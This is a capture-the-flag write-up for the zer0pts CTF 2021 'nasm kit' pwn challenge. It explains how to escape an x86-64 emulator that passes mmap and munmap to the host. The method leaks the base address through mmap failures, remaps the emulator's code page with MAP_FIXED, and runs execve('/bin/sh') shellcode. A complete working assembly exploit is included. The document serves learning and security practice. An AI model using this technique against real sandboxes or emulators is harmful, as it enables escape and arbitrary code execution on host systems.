Try   HackMD

nasm kit - zer0pts CTF 2021

tags: zer0pts CTF 2021 pwn

Challenge Overview

We can execute arbitrary assembly code.
The code is compiled by nasm and executed by an x86-64 emulator. The source code of this emulator is provided.
From a conclusion, the program doesn't have any speicific "vulnerability." The problem lies in the design of the emulator. The program emulates 6 system calls: read, write, mmap, unmap, exit, and exit_group.
The emulator does not "emulates" those system calls but just calls the system call on the host machine. In the man page of mmap, you can notice the following description:

       MAP_FIXED
              Don't interpret addr as a hint: place the mapping at exactly that address.  addr must be suitably aligned: for most architectures a multiple of the page size is sufficient; however,
              some  architectures  may  impose  additional restrictions.  If the memory region specified by addr and len overlaps pages of any existing mapping(s), then the overlapped part of the
              existing mapping(s) will be discarded.  If the specified address cannot be used, mmap() will fail.  Software that aspires to be portable should use this option with care, keeping in
              mind that the exact layout of a process's memory mappings is allowed to change significantly between kernel versions, C library versions, and operating system releases.

So, if we know the adddress of the machine code of the emulator, we can unmap and overwrite the whole page.

Solution

Leaking Process Base Address

First of all, we have to leak the base address of the emulator since PIE is enabled. We can again use mmap to leak the address. The first argument of mmap is the address where we want to allocate a page. However, mmap may allocate a page at a different address if it failed to alloc. When the first argument is a valid address, this failure means the desired page overlaps with other (already-mapped) pages.
We can use this as an oracle to know approximately where the binary is mapped. Since the timeout is short, we can try binary search to spot the proc base.

Getting the Shell

After finding the base address, we can unmap the machine code region and overwrite it by MAP_FIXED. Be noted we can't unmap a page that is used by the running emulator.

Exploit

BITS 64 ORG 0 _start: xor r9d, r9d mov r8, -1 mov r10d, 0x22 ; MAP_PRIVTE | MAP_ANONYMOUS ; prepare "/bin/sh" mov esi, 0x1000 mov rdi, 0xdead0000 call mmap mov dword [rdi], 0x6e69622f ; /bin mov dword [rdi+4], 0x68732f ; /sh ; leak proc bsae call leak ; overwrite std::hex(std::ios_base &) mov rdi, rax call pwn ; ignite! call exit ;; run shellcode outside sandbox pwn: mov esi, 0x1000 add rdi, 0x2000 call mmapForce ; copy shellcode lea rdi, [rdi + 0x124] mov rsi, shellcode mov ecx, 0x40 cld .@LpCopy: lodsb stosb dec ecx test ecx, ecx jnz .@LpCopy ret ;; leak proc base leak: ; base = 0x555555000000 mov rbp, 0x555555000000 ; for(size = 0x100000000; size >= 0x100; size /= 0x10) { mov r12, 0x100000000 jmp .@LpSizeCmp .@LpSize: ; for(address = base; ; address += size) { mov r11, rbp .@LpAddr: mov rsi, r12 mov rdi, r11 call mmap test rax, rax jnz .@LpAddrBreak call munmap add r11, r12 jmp .@LpAddr ; } .@LpAddrBreak: mov rbp, r11 shr r12, 4 .@LpSizeCmp: cmp r12, 0x100 jge .@LpSize ; } mov rax, rdi ret mmapForce: xor r9d, r9d mov r8, -1 mov r10d, 0x32 ; MAP_PRIVTE | MAP_ANONYMOUS | MAP_FIXED mov edx, 7 ; RWX mov eax, 9 syscall ret mmap: mov edx, 3 ; RW- mov eax, 9 syscall ret munmap: mov eax, 11 syscall ret exit: xor edi, edi mov eax, 60 syscall hlt shellcode: xor edx, edx xor esi, esi mov rdi, 0xdead0000 mov eax, 59 syscall int3